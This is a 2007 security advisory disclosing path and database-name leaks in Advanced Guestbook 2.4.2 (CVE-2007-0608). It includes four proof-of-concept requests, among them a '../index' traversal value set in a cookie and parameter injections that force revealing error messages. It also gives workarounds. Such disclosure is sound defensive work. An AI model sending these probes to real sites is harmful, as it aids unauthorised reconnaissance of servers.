netVigilance Security Advisory #11 Advanced Guestbook version 2.4.2 Multiple Error Information Leak Vulnerabilities Description: Advanced Guestbook is a PHP-based guestbook script. It includes many useful features such as preview, templates, e-mail notification, picture upload, page spanning , html tags handling, smiles, advanced guestbook codes and language support. The admin script lets you modify, view, and delete messages. Requires PHP4 and MySQL. Security problems in the product allow attackers to gather the true path of the server-side script and get the database name. External References: Mitre CVE: CVE-2007-0608 NVD NIST: CVE-2007-0608 OSVDB: 33876 Summary: Advanced Guestbook is a PHP-based guestbook with admin interface. Security problems in the product allows attackers to gather the true path of the server-side script and get the database name. This vulnerabilities can be exploited only when PHP register_globals is On. Advisory URL: http://www.netvigilance.com/advisory0011 Release Date: 05/07/2007 Severity: Risk: Low CVSS Metrics Access Vector: Remote Access Complexity: High Authentication: not-required Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Bias: Normal CVSS Base Score: 1.86 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: Information disclosure, path disclosure. SecureScout Testcase ID: Vulnerable Systems: Advanced Guestbook 2.4.2 Vulnerability Type: Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors. Also there exist a possibility to disclose the database name in the error information messages. Vendor Status: Contact with the Vendor was established but draft of the security advisory wasn't provided because the Vendor stopped responding to our emails on 9 March 2007. There is no official fix at the release of this Security Advisory Workaround: Set PHP register_globals to Off. Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers). Example: Error Information Leak 1: Database Name Disclosure REQUEST: http://[TARGET]/[GUETBOOK-FOLDER]/lang/codes-english.php?GB_TBL=123 REPLY: Error Number: 1146 Table '[DATABASE NAME].b' doesn't exist Date : Thu, January 4, 2007 13:40:11 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : proxy2.de Error Information Leak 2: Database Name Disclosure REQUEST: http://[TARGET]/[GUETBOOK-FOLDER]/image.php?id=1&GB_TBL=123 REPLY: <b><font size=4 face=Arial>Query Error</font></b><hr><pre>MySQL Error : Query Error Error Number: 1146 Table '[DISCLOSURE RESULT - DATABASE NAME].b' doesn't exist Date : Mon, January 8, 2007 16:58:56 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : proxy2.de </pre> Error Information Leak 3: Path Disclosure Vulnerability REQUEST: At first set in the COOKIES variable lang = "../index" for the target web-site http://[TARGET]/[guestbook-directory]/index.php?GB_DB=123 REPLY: <b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Unknown MySQL server host '-' (1) in <b>[FULL PATH TO FILE]/mysql.class.php</b> on line <b>30</b><br /> <b><font size=4 face=Arial>Connection Error</font></b><hr><pre>MySQL Error : Connection Error Error Number: 2005 Unknown MySQL server host '-' (1) Date : Thu, January 4, 2007 13:42:18 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : ServerName.de Error Information Leak 4: Path Disclosure Vulnerability REQUEST: http://[TARGET]/[guestbook-directory]/index.php REPLY: <br /><b>Notice</b>: Undefined variable: DB_CLASS in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br /> <br /><b>Warning</b>: main([FULL PATH TO FILE]\rs\gb/lib/) [<a href='function.main'>function.main </a>]: failed to open stream: Permission denied in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br /><br /> <b>Fatal error</b>: main() [<a href='function.require'>function.require</a>]: Failed opening required '[FULL PATH TO FILE] \rs\gb/lib/' (include_path='.;C:\php5\pear') in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br /> Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com